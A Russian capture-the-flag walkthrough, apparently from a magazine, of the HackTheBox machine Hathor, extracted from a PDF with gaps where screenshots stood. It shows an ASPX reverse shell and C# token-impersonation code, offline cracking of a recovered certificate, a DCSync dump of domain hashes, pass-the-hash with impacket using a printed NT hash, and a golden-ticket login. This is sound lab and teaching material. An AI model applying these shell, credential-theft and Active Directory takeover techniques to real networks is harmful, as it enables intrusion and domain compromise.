Академический Документы
Профессиональный Документы
Культура Документы
HTB
HATHOR
ОБХОДИМ APPLOCKER
И АТАКУЕМ AD ПРИ ПОМОЩИ
DCSYNC И PASSTHETICKET
WARNING
Подключаться к машинам с HTB рекоменд уется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участ никами.
РАЗВЕДКА
Сканирование портов
Первым делом, как всегда, добавляем IP-адрес машины в /etc/hosts:
10.10.11.147 hathor.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Справка: robots.txt
Этот файл используется для того, чтобы попросить краулеры (например,
Google или Яндекс) не трогать какие‑то определенные каталоги. Никто
не хочет, к примеру, чтобы в поисковой выдаче появлялись страницы авториза‐
ции администраторов сайта, файлы или персональная информация со страниц
пользователей и прочие вещи в таком духе. Однако и злоумышленники пер‐
вым делом просматривают этот файл, чтобы узнать о файлах и каталогах,
которые стремится спрятать администратор сайта.
ТОЧКА ВХОДА
Войдя в систему как пользователь, сразу увидим список всех аккаунтов.
Из множества страниц в выводе есть те, которые возвращают код 200, одна
из них — filemanager, но она нам недоступна.
ТОЧКА ОПОРЫ
Мы нашли файловое хранилище, значит, попробуем загрузить реверс‑шелл
и получить RCE. Так как используется веб‑сервер IIS, загрузим шелл на ASPX.
В нем нам нужно будет лишь указать адрес, хост и порт для подключения.
Сообщение об ошибке
http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx
Принятый бэкконнект
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB HATHOR
ОБХОДИМ APPLOCKER
И АТАКУЕМ AD ПРИ ПОМОЩИ
DCSYNC И PASSTHETICKET
ПРОДВИЖЕНИЕ
Пользователь BeatriceMill
Осматриваясь на машине, натыкаемся на каталоги script и Get-
bADpassword.
![Содержимое каталога C:\](https://static.xakep.ru/articles/21112022/15.png)
Начнем с Get-bADpassword, он содержит много скриптов на PowerShell
и доступен на GitHub. Отмечаем, что для его работы необходима привилегия
для репликации данных домена.
Содержимое логов
Попробуем найти этот пароль. Для каждого лога есть файл CSV, в одном
из которых и находим хеш пароля.
Хеш похож на результат алгоритма MD5, его лучше всего гуглить в онлайновых
базах (например, crackstation.net). Таким образом и получим пароль поль‐
зователя.
Модернизация ASPX-шелла
Под имперсонализацией пользователя понимается получение и применение
его токена доступа. Для этого нам понадобятся три WinAPI-функции:
• LogonUserA — получение токена пользователя по предоставленным учет‐
ным данным;
• DuplicateToken — создание копии токена;
• RevertToSelf — возврат контекста.
[DllImport("advapi32.dll")]
public static extern int LogonUserA(String lpszUserName, String
lpszDomain, String lpszPassword, int dwLogonType, int
dwLogonProvider, ref IntPtr phToken);
if(RevertToSelf()) {
if(LogonUserA(userName, domain, password, 2, 0, ref token)
!= 0) {
if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) {
windowsIdentity = new WindowsIdentity(
tokenDuplicate);
WindowsImpersonationContext
windowsImpersonationContext = windowsIdentity.Impersonate();
if (windowsImpersonationContext != null) {
CloseHandle(token);
CloseHandle(tokenDuplicate);
return true;
}
}
}
}
if(token!= IntPtr.Zero)
CloseHandle(token);
if(tokenDuplicate!=IntPtr.Zero)
CloseHandle(tokenDuplicate);
return false;
}
Token = WindowsIdentity.GetCurrent().Token;
const uint GENERIC_ALL = 0x10000000;
const int SecurityImpersonation = 2;
const int TokenType = 1;
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa,
SecurityImpersonation, TokenType, ref DupeToken);
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref
pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "",
ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out
pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
Пользователь ginawild
Теперь перейдем к другому найденному каталогу — C:\share.
icacls C:\share\Bginfo64.exe
Список процессов
#include <windows.h>
Логи веб‑сервера
Флаг пользователя
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB HATHOR
ОБХОДИМ APPLOCKER
И АТАКУЕМ AD ПРИ ПОМОЩИ
DCSYNC И PASSTHETICKET
Содержимое корзины
Нам нужно узнать SID своего пользователя. В этом поможет простая команда
whoami /all.
SID пользователя
Удаленные файлы
pfx2john.py cert.pfx
Брут пароля
copy c:\$Recycle.Bin\
S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\
Windows\temp\cert.pfx
certutil -user -p abceasyas123 -importpfx C:\Windows\temp\cert.pfx
NoChain,NoRoot
powershell
$certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
$certs[0]
Добавленный сертификат
type C:\Get-bADpasswords\Get-bADpasswords.ps1
Логи листенера
DCSync
Атака DCSync — это обычный запрос на репликацию данных через протокол
репликации каталогов DRS. Клиент отправляет запрос DSGetNCChanges на сер‐
вер, когда хочет получать от него обновления объектов AD. Ответ содержит
набор обновлений, которые клиент должен применить к своей реплике NC.
Нас, конечно, больше всего интересуют секреты и учетные данные. Выполнить
DCSync можно с помощью скриптлета Get-ADReplAccount. Извлекать данные
будем уже привычным нам способом.
impacket-smbclient windcorp.htb/administrator@hathor.windcorp.htb
-hashes :b3ff8d7532eef396a5347ed33933030f -dc-ip hathor.windcorp.
htb
Golden Ticket
Аутентификация NTLM отключена, а вот Kerberos — нет. В этом случае мы
можем попробовать запросить золотой билет. Для этого нам нужен NT-хеш
пароля учетной записи krbtgt и SID домена. Все это есть в том же скане.
export KRB5CCNAME=administrator.ccache
impacket-smbclient -no-pass -k windcorp.htb/administrator@hathor.
windcorp.htb -dc-ip hathor.windcorp.htb
Флаг рута
Машина захвачена!